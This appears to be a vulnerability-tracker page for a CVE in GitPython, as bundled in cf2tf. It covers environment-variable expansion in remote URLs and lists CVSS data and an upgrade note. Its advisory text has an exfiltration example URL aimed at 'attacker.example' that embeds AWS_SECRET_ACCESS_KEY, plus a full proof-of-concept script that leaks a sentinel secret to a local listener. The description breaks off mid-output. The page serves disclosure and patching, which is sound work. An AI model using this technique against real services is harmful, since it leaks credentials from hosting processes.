CVE-2026-73622VulnerabilityPublished 14 Aug 2026Updated 26 Oct 2026

cf2tf · GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of

Affects cf2tfSource GCVE Database

Authoritative record:CVE-2026-73622· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 0.9.2_6 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.5% chance of exploitation in 30 days – higher than 43% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.9.2_6

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: None
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade cf2tf to 0.9.2_6.

Affected software

Product	Affected	Fixed in
Homebrewcf2tf`pkg:brew/cf2tf`Other threats	Affected >=0.6.1 <0.9.2_6	Fixed in 0.9.2_6

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/

References

Community reviews

Loading reviews…